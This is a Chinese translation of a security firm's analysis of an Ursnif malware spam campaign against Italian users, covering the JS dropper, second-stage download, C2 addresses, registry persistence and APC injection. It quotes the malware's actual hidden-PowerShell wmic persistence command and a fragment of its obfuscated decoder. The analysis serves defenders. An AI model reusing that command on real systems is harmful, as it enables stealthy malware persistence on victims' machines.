解析最新Ursnif恶意软件攻击活动
Yoroi–Cybaze Z-Lab的安全专家通过一封垃圾邮件,发现了一种以意大利用户为目标的臭名昭著的Ursnif恶意软件的新变种。
在过去的几周里,一种臭名昭著的Ursnif恶意软件的新变体被发现通过垃圾邮件传播,用来攻击意大利用户。然后,Yoroi-Cybaze ZLAB将几个恶意邮件内容做了重点标记:
主题: “VS Spedizione DHL AWB 94856978972 proveniente dalla GRAN BRETAGNA AVVISO DI GIACENZA”
附件: “GR930495-30495.zip”
附件的内容是.js文件,当它运行时,通过从Internet下载其他软件开始感染系统。
木马
初始的木马是一个被混淆的ja vasc ript脚本。一旦运行,它就会生成大量杂乱的网络流量,以便对抗安全软件的检测;正如我们可以从下面的图中看到的,该脚本包含一系列看起来随机的URL,它试图连接到这些不存在的url,肯定不会成功,从而生成了大量无意义流量,干扰了他人对它的分析。
图1:大量随机的URL
图2:产生的无意义的互联网流量
但是,这个ja vasc ript脚本执行的真正有意义的操作是在“%APPDATA%Roaming325623802.bat”路径中创建批处理文件。该文件包含以下代码:
图3:批处理文件内容
脚本执行后,首先会在屏幕上跳出一个无害的“联邦快递”的pdf格式的文档,同时,它将下载PE32格式的可执行文件,该文件被压缩成cab格式,托管在一个有漏洞的中国网站上。
图4:迷惑用户的PDF文档
第二阶段
攻击的第二阶段是由木马下载到“%APPDATA%\Roaming”位置的“ppc.cab”文件发动的:它实际上是“puk.exe”可执行文件的CAB压缩文档。
“puk.exe”文件迅速生成其自身进程的克隆,使得调试分析更加困难,然后启动几个Internet Explorer进程,以便将其网络活动隐藏在合法进程内。
图5:原始puk.exe生成得进程
由iexplore.exe进程生成的网络流量指向远程目的地149.129.129.1(ALICLOUD-IN)和47.74.131.146(AL-3),这是攻击者攻击架构的一部分。
图6:C2网络流量
C2通信中信标模式与Gozi/Ursnif/IFSB/Dreambot恶意软件变体一致。此外,样本采用的特定“/wpapi/”的url与今年所活跃的若干垃圾邮件活动相匹配(rif EW.N070618,N030618,N010318)。
图7:恶意软件的发起请求
持久性
恶意攻击的第三个阶段主要目的是确保恶意软件能长期在进入受感染的系统中运行。它设置一个包含二进制数据块的特定注册表项:
“HKEY_CURRENT_USER\Software\AppDataLow\Software\Microsoft\6C174C70-DB2B-7E6F-C560-3F92C994E3E6”
图8:恶意软件编写的注册表项
在上面显示的注册表键中,有一个名为“ddraxpps”的条目:这个特殊名字还出现在于1月份所分析的其他Ursnif样本的持久性机制中。此外,恶意软件配置一个名为“comuroxy”的密钥,其中包含一个wmic“进程调用创建”命令,该命令涉及从“ddraxpps”条目调用powershell代码:
C:\Windows\system32\wbem\wmic.exe /output:clipboard process call create "powershell -w hidden iex([System.Text.Encoding]::ASCII.GetString((get-itemproperty 'HKCU:\Software\AppDataLow\Software\Microsoft\6C174C70-DB2B-7E6F-C560-3F92C994E3E6').ddraxpps))"
“ddraxpps”注册表键存储十六进制字符串,可以通过简单的十六进制到ascii转换进行解码,其内容实际上是以下经过混淆的powershell代码:
图9:“DRAXPPS”键的主体
第一行代码显示了一组命令集,涉及以十进制格式编码的payload的执行。第两行中的数字数组表示十进制表示法中的实际可执行payload。
$sagsfg=“qmd”;function ndltwntg{$sxpjuhsps=[System.Convert]::Fromba se64String($args[0]);[System.Text.Encoding]::ASCII.GetString($sxpjuhsps);};
而第三行包含一个ba se64编码的powershell代码段,它使用了一个了已知payload注入技术:用于感染“iexplore.exe”进程的“APC注入”或“AtomBombing”。
图10:“ddraxpps”键中第三行的命令
图10所示的所有命令都是执行APC注入操作所必需的:在第一个变量“$jtwhasq”中,导入了必要的库“kernel32.dll”,特别是函数“GetCurrentProcess()”和“VirtualAllocEx()”。第二行提供函数“GetCurrentThreadId()”、“QueueUserAPC()”、“OpenThread()”的导入。第三行包含实际注入代码:前两行包含所有导入、函数和相关参数的准备,第三行负责实际APC注入技术的执行。第一步是使用当前进程的“VirtualAllocEx()”函数正确地创建虚拟空间,这是由“GetCurrentProcess()”所标识的。然后,恶意软件被复制到虚拟空间,最后,使用“QueueUserAPC()”函数,恶意代码被注入“iexplore.exe”进程内的本地线程中。
结论
最后,整个感染链可以概括为四个阶段:产生网络杂乱流量以隐藏攻击者的攻击手段、下载可执行payload、通过安装注册表键实现持久性控制以及检查和下载Ursnif模块。
图11:整体攻击流程
原文链接:https://securityaffairs.co/wordpress/78672/breaking-news/dissecting-ursnif-dhl-campaign.html
最新评论